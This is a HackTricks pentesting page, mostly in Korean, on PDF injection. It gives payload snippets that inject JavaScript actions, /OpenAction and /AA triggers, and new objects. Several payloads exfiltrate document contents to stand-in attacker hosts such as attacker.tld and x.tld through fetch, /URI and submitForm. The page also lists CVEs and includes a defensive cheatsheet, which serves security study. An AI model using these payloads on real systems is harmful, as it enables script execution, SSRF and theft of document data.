PDF Injection
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
입력값이 PDF 파일 내부에 반영되고 있다면, PDF 데이터를 주입해 JavaScript를 실행하거나 SSRF를 수행하거나 PDF 내용을 탈취할 수 있습니다. PDF 구문은 매우 관대합니다 — 입력을 포함하는 문자열이나 사전에서 빠져나올 수 있다면 완전히 새로운 객체(또는 같은 객체에 새 키)를 덧붙일 수 있고 Acrobat/Chrome이 이를 문제없이 파싱합니다. 2024년부터 버그바운티 리포트들이 보여주었듯이 하나의 이스케이프되지 않은 괄호나 백슬래시만으로도 전체 스크립트 실행에 충분합니다.
TL;DR – 최신 공격 워크플로우 (2024-2026)
- 생성된 PDF에서 사용자 제어 값이 (괄호 문자열),
/URI ( … )또는/JS ( … )필드 안에 들어가는지 찾습니다. )(문자열을 닫음)을 주입한 뒤 아래의 프리미티브 중 하나를 이어서 넣고, 문법을 유효하게 유지하기 위해 마지막에 또 다른 여는 괄호(를 넣어 마무리합니다.- 악성 PDF를 피해자에게 전달하거나(또는 파일을 자동으로 렌더링하는 백엔드 서비스에 전달 — 블라인드 버그에 유리합니다).
- 페이로드가 PDF 뷰어에서 실행됩니다:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
첫 번째 )는 원래 URI 문자열을 닫고, 그다음 사용자가 링크를 클릭할 때 Acrobat이 실행할 새 Action 딕셔너리를 추가합니다.
유용한 Injection Primitives
| 목표 | Payload Snippet | 설명 |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | 문서가 열릴 때 즉시 실행됩니다 (Acrobat에서는 작동하지만 Chrome에서는 작동하지 않습니다). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | PDFium 및 Acrobat에서 /Link 주석을 제어할 수 있다면 작동합니다. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | this.getPageNthWord을 JS 내부에서 결합하여 콘텐츠를 탈취할 수 있습니다. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | 위와 같지만 내부 URL을 대상으로 합니다 — PDF가 /URI를 준수하는 백오피스 서비스에서 렌더링될 때 특히 유용합니다. |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | 페이지/주석/폼 딕셔너리에 첨부하여 열기/포커스 시 실행되도록 합니다. |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | 라이브러리가 개행 문자를 주입할 수 있게 허용하면 완전히 새로운 객체를 생성할 수 있습니다. |
Embedded Actions as Injection Targets
PDF 뷰어는 /OpenAction 및 /AA (Additional Actions)와 같은 embedded actions를 문서가 열리거나 특정 이벤트가 발생할 때 실행되는 일급 기능으로 취급합니다. 액션을 허용하는 어떤 딕셔너리(Catalog, Page, Annotation, 또는 Form field)에 주입할 수 있다면 /AA 트리를 붙여 열기/포커스 시 JavaScript를 트리거할 수 있습니다.
예시 페이로드 for generator-side object injection (원래 문자열/딕셔너리를 닫고 /AA를 주입):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
이 패턴은 공격자가 제어하는 입력이 addJS(또는 특정 AcroForm 필드)에 전달되어 의도한 JavaScript 문자열을 탈출하고 Additional Action dictionary를 주입하는 최근의 jsPDF 이슈들과 일치합니다.
Blind Enumeration Trick
Gareth Heyes (PortSwigger)는 알 수 없는 문서 내부의 모든 객체를 열거하는 one-liner를 공개했습니다 — 생성된 PDF를 볼 수 없을 때 유용합니다:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
코드는 Acrobat DOM을 순회하면서 모든 property/value 쌍에 대해 외부 요청을 보내 파일의 JSON-ish 덤프를 제공합니다. 전체 기법은 백서 “Portable Data exFiltration”을 참조하세요.
Real-World Bugs (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: 공격자 제어 문자열이 JS 리터럴을 닫고/AA→/O→/JavaScript액션을 주입하여 열림/포커스 시 실행될 수 있습니다. - CVE-2024-4367 – Firefox의 PDF.js 4.2.67 이전에서 임의의 JavaScript 실행: 조작된
/JavaScript액션으로 샌드박스를 우회했습니다. - Bug bounty 2024-05 – 대형 핀테크에서 고객이 제공한 인보이스 메모가
/URI에 들어가도록 허용했습니다;file:///URI를 사용해 내부 메타데이터 호스트로 SSRF를 시연한 뒤 리포트에 $10k가 지급되었습니다. - CVE-2023-26155 –
node-qpdf의 PDF 경로 미검증으로 인한 command-injection은 PDF 레이어 이전에도 백슬래시와 괄호를 이스케이프하는 것이 얼마나 중요한지를 보여줍니다.
Defensive Cheatsheet
- Never concatenate raw user input inside
(…)strings or names. PDF 명세 §7.3에 따라\,(,)를 이스케이프하거나 16진수 문자열<...>을 사용하세요. - 링크를 만들 때는
/URI (https://…)를 선호하고 반드시 완전히 URL-encode 하세요; 클라이언트 뷰어에서javascript:스킴을 차단하세요. - PDF를 후처리할 때
/OpenAction,/AA(additional actions),/Launch,/SubmitForm및/ImportData딕셔너리를 제거하거나 검증하세요. - 서버 측에서는 신뢰할 수 없는 PDF를 JavaScript 및 외부 액션을 제거하는 headless converter(예: qpdf –decrypt –linearize)로 렌더링하세요.
- PDF 뷰어를 최신 상태로 유지하세요; PDF.js < 4.2.67 및 2024년 7월 이전의 Acrobat Reader 패치는 사소한 코드 실행을 허용할 수 있습니다.
- 클라이언트 측 생성기(예: jsPDF)를 사용하는 경우, 신뢰할 수 없는 입력을
addJS나 PDF 액션 딕셔너리 내부로 들어가는 AcroForm 세터에 전달하지 마세요.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Feb 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Sep 2025) – embedded actions like OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


